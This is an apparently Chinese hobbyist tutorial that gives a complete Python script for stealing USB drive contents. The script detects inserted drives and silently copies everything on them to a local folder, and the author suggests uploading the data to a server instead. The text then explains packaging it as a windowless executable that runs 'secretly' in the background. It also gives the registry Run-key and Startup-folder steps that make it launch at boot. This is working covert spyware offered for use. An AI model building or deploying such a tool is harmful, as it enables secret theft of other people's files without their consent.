致力想当一名骇客的笔者闲着无聊,做一个小工具玩玩,代码量不大,用Python写一个脚本检测U盘的插入和复制U盘内容到本地计算机上(大家可以扩展为上传到具体某个服务器上或者什么)。然后打包成可执行文件(后台运行、有窗口运行),并且添加到电脑开机启动进程里。
直接上代码,代码不多,也不难懂。Python3.6开发环境:
# -*- coding:utf-8 -*-
import psutil
import sys
import os
import time
from datetime import datetime
import shutil
"""全局数据 实时更新"""
local_device = [] # 本地硬盘
local_letter = [] # 本地盘符
local_number = 0 # 本地硬盘数
local_cdrom = []
local_cdrom_letter = []
local_cdrom_number = 0
mobile_device = [] # 移动设备
mobile_letter = [] # 移动设备盘符
mobile_number = 0 # 移动设备数
def updata():
global local_device, local_letter, local_number, mobile_device, \
mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
# 引入全局变量
tmp_local_device, tmp_local_letter = [], []
tmp_mobile_device, tmp_mobile_letter = [], []
tmp_local_cdrom, tmp_local_cdrom_letter = [], []
tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number = 0, 0, 0
try:
part = psutil.disk_partitions()
except:
print("程序发生异常!!!")
sys.exit(-1)
else:
# 驱动器分类
for i in range(len(part)):
tmplist = part[i].opts.split(",")
if "fixed" in tmplist: # 挂载选项数据内读到fixed = 本地设备
tmp_local_number = tmp_local_number + 1
tmp_local_letter.append(part[i].device[:2]) # 得到盘符信息
tmp_local_device.append(part[i])
elif "cdrom" in tmplist:
tmp_local_cdrom_number = tmp_local_cdrom_number + 1
tmp_local_cdrom_letter.append(part[i].device[:2])
tmp_local_cdrom.append(part[i])
else:
tmp_mobile_number = tmp_mobile_number + 1
tmp_mobile_letter.append(part[i].device[:2])
tmp_mobile_device.append(part[i])
# 浅切片
local_device, local_letter = tmp_local_device[:], tmp_local_letter[:]
mobile_device, mobile_letter = tmp_mobile_device[:], tmp_mobile_letter[:]
local_number, mobile_number, local_cdrom_number = tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number
local_cdrom, local_cdrom_letter = tmp_local_cdrom[:], tmp_local_cdrom_letter[:]
return len(part) # 返回当前驱动器数
def print_device(n):
global local_device, local_letter, local_number, mobile_device, mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
print("读取到" + str(n) + "个驱动器磁盘")
print("------->", end="")
for l in range(local_number):
print(local_letter[l], end="") # 列出本地驱动器盘符
print("是本地硬盘")
print("------->", end="")
for l in range(local_cdrom_number):
print(local_cdrom_letter[l], end="") # 列出本地驱动器盘符
print("是CD驱动器")
if len(mobile_device): # 列出移动驱动器盘符
print("------->", end="")
for m in range(mobile_number):
print(mobile_letter[m], end="")
print("是插入的移动磁盘...")
else:
pass
print("进程进入监听状态 " + "*" * 10)
return
def copy_file_to_disk_hidden(USB_path):
# U盘的盘符
usb_path = USB_path + "/"
# 要复制到的路径
save_path = "D:/tmp/copy_usb"
while True:
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(5)
if __name__ == "__main__":
# 初次读取驱动器信息,打印驱动器详细
now_number = 0 # 实时驱动数
before_number = updata() # 更新数据之前的驱动数
print("=" * 50 + "\n此刻时间是: " + str(datetime.now()))
print_device(before_number)
# 进程进入循环 Loop Seconds = 1s
while True:
now_number = updata()
if now_number > before_number:
print("=" * 50 + " \n检测到移动磁盘被插入...此刻时间是: " + str(datetime.now()))
print_device(now_number)
if len(mobile_device): # 列出移动驱动器盘符
for m in range(mobile_number):
copy_file_to_disk_hidden(mobile_letter[m])
else:
pass
before_number = now_number # 刷新数据
elif now_number < before_number:
print("=" * 50 + " \n检测到移动磁盘被拔出...此刻时间是: " + str(datetime.now()))
print_device(now_number)
before_number = now_number
time.sleep(1)
Python脚本打包可以参考网上各种教程。笔者这里列举一种:
在命令行用pip安装 pyinstaller包
pip install pyinstaller
下载安装pyinstaler运行时所需要的windows扩展pywin32
选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)
通过在命令行输入python查看python版本和位数
如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]
(复制后网上搜索下载安装)
Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]
Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32
在命令行中直接输入下面的指令即可
pyinstaller [opts] yourprogram.py
参数含义
-F 指定打包后只生成一个exe格式的文件(建议写上这个参数)
-D –onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)
-c –console, –nowindowed 使用控制台,无界面(默认)
-w –windowed, –noconsole 使用窗口,无控制台
-p 添加搜索路径,让其找到对应的库。
-i 改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)
实例说明
比如你有个python程序叫test.py,绝对路径在[D:\project]
,打包成一个exe格式的文件
pyinstaller -F D:\project\test.py
条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行
pyinstaller -F -w D:\project\test.py
条件同上,如果还希望更换程序图标
pyinstaller -F -w -i D:\project\test.ico D:\project\test.py
自动让windows计算开机执行某一个.exe文件解决方法:
第一种:
点击桌面左下角的 开始,选择 运行(打开cmd),输入“regedit”回车,打开注册表编辑器。定位到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,新建一个字符串类型的键值 XXXXX.exe,指向 D:\XXXX\XXXXX.exe
第二种:
开始→程序→启动(任务管理器中也有启动项),这个是比较简单了,直接点要启动的文件左键不放,一直拖到启动位置就行了。
Mac
之后更新。